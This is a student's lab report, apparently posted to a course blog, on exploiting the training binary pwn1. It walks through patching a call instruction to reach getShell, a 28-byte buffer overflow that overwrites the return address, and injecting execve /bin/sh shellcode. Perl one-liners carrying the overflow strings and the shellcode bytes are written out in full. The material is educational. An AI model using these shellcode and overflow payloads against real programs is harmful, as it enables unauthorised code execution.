20232310 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

20232310 2025-2026-1 《网络与系统攻防技术》 实验一实验报告

一、实验目的

篡改程序流程——直接修改可执行文件,跳转至getShell;
栈溢出攻击——利用foo函数的缓冲区溢出漏洞,覆盖返回地址触发getShell;
Shellcode注入——构造恶意输入注入自定义Shellcode并执行。

二、基础知识

1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.反汇编

(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我们在Linux环境下使用objdump反汇编工具对pwn1文件进行反汇编
(3)反汇编指令objdump -d <文件名>

3.十六进制编辑器

(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式

三、实验过程

1.直接修改程序机器指令,改变程序执行流程

我先登录root账户,后修改主机名为203232310

再通过共享文件夹将pwn1文件传输到虚拟机,并修改名字为pwn20232310。

image

运行一下,回显正常。

image

开始反汇编,输入

 objdump -d pwn20232310 | more

image

image

此时需将call foo修改为call getShell,即把地址8048491替换为getShell的入口地址804847d。
Call指令的跳转原理是相对跳转,即EIP+偏移量=当前命令地址。

计算偏移量:804847d(getShell) - 80484ba = -61,其补码表示为0xffffff3c。

由于x86架构采用小端存储,将机器码中的0xd7ffffff修改为0xc3ffffff,即可实现跳转至getShell函数。

复制为pwn20232310_2。

修改文件pwn20232310_2,使用%!xxd进入十六进制编辑器,找到e8d7ffffff改为e8c3ffffff。(在04b0行)
image

修改后,再看,跳转至getshell

image

执行pwn20232310_2,成功执行命令,说明修改成功,执行了getShell。

image

2.通过构造输入参数,造成BOF攻击,改变程序执行流

同样,反汇编

objdump -d pwn20232310 | more

发现这个foo函数只预留28(0x1c)字节的缓冲区来读取字符串,因此存在缓冲区溢出(Bof)漏洞。

image

我要执行getShell,所以需要用其起始地址来覆盖返回地址,即804847d。因为在程序中函数的调用使用堆栈的形式,在输入的缓冲区上方是4字节的foo函数返回,更上方才是4字节main函数返回,所以应该输入28+4+4=36个数字其中最后4个数字的16进制为\x7d\x84\x04\x08。

使用 gdb 调试程序,输入测试字符串 1111111122222222333333334444444412345678,然后执行 info r查看寄存器状态,发现 EIP(存储下一条指令地址的寄存器)被覆盖为 0x34333231(即字符串 "1234" 的 ASCII 码)
image

通过反汇编已知 getShell 函数的入口地址为 0x0804847d。因此,只需将字符串末尾的 "1234" 替换为该地址的字节表示,即可让程序在返回时跳转至 getShell。为了利用缓冲区溢出漏洞,我们需要将返回地址覆盖为getShell函数的地址0x0804847d。

也就是11111111222222223333333344444444\x7d\x84\x04\x08

输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

然后然后将input的输入,通过管道符“|”,作为pwn20232310的输入。

成功!

image

3.注入Shellcode并执行

以nops+shellcode+retaddr为结果构造shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

打开一个终端注入这段攻击buf:

image

再开另外一个终端,找到这个进程

image

gdb来调试pwn1这个进程。通过设置断点,来查看注入buf的内存地址

image

看到 01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd020。
image

重新编写shellcode,结构为:anything+retaddr+nops+shellcode。

perl -e 'print "A" x 32;print "\x20\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

image

成功了!!

三、问题及解决方案

  • 问题1:发现无论如何都下载不了execstack,提示 "ERROR 404: Not Found",无法获取工具;群里的下载链接已失效,学习通的prelink源码下载到虚拟机后编译也出现报错;

  • 问题1解决方案:

    但是使用readelf -l pwn4 | grep -A1 GNU_STACK

    验证pwn文件的栈是rwe,显示可被执行。直接往下做,发现没有任何问题。说明execstack不是必要的。

  • 问题2:开始的时候盲目跟着指导书做,shellcode注入一直失败,"zsh: segmentation fault ./pwnzxy",程序崩溃

  • 问题2解决方案:
    后来发现是每台电脑每次启动后,内部地址都可能发生变化,导致返回地址覆盖位置错误,根据自己电脑的详细地址去编写注入语句就可以解决问题。

  • 问题3:对于gdb和汇编极其不熟练,刚开始看的头皮发麻

  • 问题3解决方案:

    对着指导书一步步做,疯狂问ai,刨根究底,才总算学明白了。

    4.学习感悟、思考等

    之前学习了一点点的ctf知识,根本学不明白,然后就基本处于放弃的姿态。这次的实验让我感受很深,原来只是一个缓冲区溢出就有这么多门道和攻击方法,让我大开眼界。之前学编程只知道get函数容易溢出,fget比较安全,却不知道其中的真正原理。这样的实操下,我对于gdb、栈、溢出等知识的研究大大深入了。对于汇编的理解也大大加深了,感觉很有意思,期待更加深入的学习。这次实验做了很久,出现了许多问题,最终顺利解决,但通过这些问题,我对知识的理解更加深入,大大激发我学习的兴趣。我一定会努力学习网络攻防的技能,成为一个更强的"ctfer"。

posted @ 2025-10-12 13:49  20232310许益多  阅读(1)  评论(0)    收藏  举报